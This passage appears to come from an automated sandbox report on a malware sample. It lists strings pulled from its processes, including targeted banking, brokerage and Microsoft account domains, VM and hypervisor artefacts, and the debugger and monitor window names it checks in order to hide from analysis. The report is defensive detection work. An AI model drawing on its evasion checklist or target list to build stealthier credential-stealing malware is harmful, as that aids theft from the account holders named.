Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisorr
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1922769544.0000000001153000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1922769544.0000000001186000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2624546443.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2588623279.0000000002571000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes
Source: regsvr32.exe, 00000024.00000003.2586299010.0000000002420000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot Com
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partition
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: regsvr32.exe, 00000024.00000003.2586644486.000000000245F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instruct
Source: regsvr32.exe, 00000024.00000003.2594601776.000000000350E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1922769544.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: regsvr32.exe, 00000024.00000003.2576497092.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost50
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: regsvr32.exe, 00000024.00000003.2594601776.00000000034E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT`
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus PipesT
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor<
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V HypervisorK
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: skotes.exe, skotes.exe, 00000019.00000002.2619533761.00000000005FD000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical ProcessorllO9go$
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: regsvr32.exe, 00000024.00000003.2586299010.000000000245E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flus
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partitionu
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: regsvr32.exe, 00000024.00000003.2576881996.000000000244D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference C
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor&E
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServiceEDkn
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.sys
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServicecN=
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor?8
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipesl
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition.dll027o
Source: file.exe, 00000000.00000002.1922769544.0000000001186000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0)u
Source: regsvr32.exe, 00000024.00000002.2619403045.0000000000980000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.000000000316A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration ServiceA
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qkvfpirakkyfaap Bus Pipes
Source: DocumentsHCAEHJJKFC.exe, 00000015.00000003.1935591016.00000000009E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}R
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service393o
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1921740249.0000000000994000.00000040.00000001.01000000.00000003.sdmp, DocumentsHCAEHJJKFC.exe, 00000015.00000002.1977415266.0000000000CED000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2015782770.00000000005FD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000017.00000002.2017777135.00000000005FD000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.2619533761.00000000005FD000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
